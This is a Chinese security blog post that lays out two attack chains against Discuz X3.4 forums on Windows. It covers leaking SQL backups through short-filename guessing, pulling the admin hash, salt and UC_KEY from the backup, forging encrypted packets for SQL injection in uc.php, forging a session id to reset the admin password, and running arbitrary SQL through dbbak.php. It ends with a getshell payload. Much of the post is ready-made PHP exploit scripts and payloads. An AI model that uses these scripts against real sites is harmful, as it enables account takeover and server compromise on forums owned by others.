Windows下Discuz x3.4的两种攻击思路

  • A+
所属分类:安全文章
  1. uc.php-SQL注入

  2. dbbak.php-任意SQL执行

  3. 后台-getshell

Win下基本通杀(如果目标存在sql备份)

DZ所有攻击思路参考文章:https://paper.seebug.org/1144/#getwebshell

短文件拿win泄漏备份:https://gitee.com/ComsenzDiscuz/DiscuzX/issues/I10NG9

data/backup~1/190814~1.sql,日期直接遍历就行了

Windows下Discuz x3.4的两种攻击思路

备份的SQL有几个地方比较有用,简单记一下:

1、管理员的hash、salt

Windows下Discuz x3.4的两种攻击思路

$hash = unhex(0x78394c31656645316666313761344f37693135387863536255666f31553256374c65626566336739373459644734773045324c66493473355231703274346d35)

$
salt = unhex(0x323565616462)

管理员密码的hash生成规则md5(md5($password).$salt),可以本地跑一下密码

2、UC_KEY(dz),也就是upload/config/config_ucenter.php下的UC_KEY


Windows下Discuz x3.4的两种攻击思路

UC_KEY = unhex(0x78394c31656645316666313761344f37693135387863536255666f31553256374c65626566336739373459644734773045324c66493473355231703274346d35)

其实DZ一共有两个UC_KEY,另一个在upload/uc_server/data/config.inc.php,用来做uc_server的校权,这里叫UC_KEY(server)。SQL备份泄漏的UC_KEY(dz)主要作用与DZ主程序,包括伪造前台的任意用户(没啥用),而UC_KEY(server)能修改任意后台管理员的密码(很有用)


Windows下Discuz x3.4的两种攻击思路

接下来讲讲围绕这两个key怎么getshell


uc.php-SQL注入


Windows下Discuz x3.4的两种攻击思路

这个地方DZ没有去转译单引号,用泄漏的uc_key(dz)就能构造任意数据包,demo如下

$uc_key = "ybX4B6nfA8Ca83i1Uav5L98eQ4d8w931Z9PbS6E7x86e02ofM1PbI9B3kaLfSaj4";

$
time = time() + 7200;
$encode = "time=".$time."&action=renameuser&newusername=123&uid=1'+sql";
var_dump(urlencode(authcode($encode,'ENCODE',$uc_key)));


Windows下Discuz x3.4的两种攻击思路


可以用来读upload/uc_server/data/config.inc.php下的UC_KEY(server)

借助sid_decode()函数,UC_KEY(server)就可以用来密码重置


    function sid_encode($username) {
$ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$check = substr(md5($ip.$agent), 0, 8);
return rawurlencode($this->authcode("$usernamet$check", 'ENCODE', $authkey, 1800));
}

function sid_decode($sid) {
$ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);
if(empty($s)) {
return FALSE;
}
@list($username, $check) = explode("t", $s);
if($check == substr(md5($ip.$agent), 0, 8)) {
return $username;
} else {
return FALSE;
}
}


Windows下Discuz x3.4的两种攻击思路

Windows下Discuz x3.4的两种攻击思路

构造sid脚本

$uc_key = "x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5";

$authkey = md5($ip.$ua.$uc_key);

var_dump($authkey);
$check = substr(md5($ip.$ua), 0, 8);

var_dump(rawurlencode(authcode("$usernamet$check", 'ENCODE', $authkey, 1800)));

直接替换cookie中的sid就能修改admin、uid=1的密码。或者post一个sid也可

Windows下Discuz x3.4的两种攻击思路


dbbak.php-任意SQL执行

同样要利用UC_KEY(dz)构造数据包

1、在前台上传zip文件,内容为:

UPDATE `ultrax`.`pre_ucenter_members` SET `password` = md5(concat(md5('password'),'123456')), `salt` = '123456' WHERE `uid` = 1;

2、在api/dbbak.php利用authkey,export出数据库,得到上传的zip路径

其中加密code脚本

<?php

function encode_arr2($get, $uckey) {
$tmp = '';
foreach($get as $key => $val) {
$tmp .= '&'.$key.'='.$val;
}
return _authcode($tmp, 'ENCODE', $uckey);
}
$UC_KEY = 'x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5';


$get = array('method' => 'export','time' => time(),'sqlpath' => '/backup_2020xx/','tableid' => '100','startfrom' => '1');

var_dump(encode_arr2($get,$UC_KEY));

3、在api/dbbak.php利用authkey,import上一步的zip文件,执行SQL

第二步相同的加密操作去执行import,替换dumpfile来执行sql,这里没用dz自己写的model。直接原生的mysql操作

Windows下Discuz x3.4的两种攻击思路

Windows下Discuz x3.4的两种攻击思路

4、至此修改admin密码成功


后台-getshell

进入后台getshell部分参考文章 https://paper.seebug.org/1144/#getwebshell

生成POST数据包脚本-xml

<?php

function xml_serialize($arr, $htmlon = FALSE, $isnormal = FALSE, $level = 1) {
$s = $level == 1 ? "<?xml version="1.0" encoding="ISO-8859-1"?>rn<root>rn" : '';
$space = str_repeat("t", $level);
foreach($arr as $k => $v) {
if(!is_array($v)) {
$s .= $space."<item id="$k">".($htmlon ? '<![CDATA[' : '').$v.($htmlon ? ']]>' : '')."</item>rn";
} else {
$s .= $space."<item id="$k">rn".xml_serialize($v, $htmlon, $isnormal, $level + 1).$space."</item>rn";
}
}
$s = preg_replace("/([x01-x08x0b-x0cx0e-x1f])+/", ' ', $s);
return $level == 1 ? $s."</root>" : $s;
}

$payload = array("UC_API"=>"https://aaa'phpinfo();");

$result = xml_serialize($payload);

echo $result;


作者:Hpdoger,已获作者授权。


扫描关注乌云安全

Windows下Discuz x3.4的两种攻击思路

本文始发于微信公众号(乌雲安全):Windows下Discuz x3.4的两种攻击思路

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: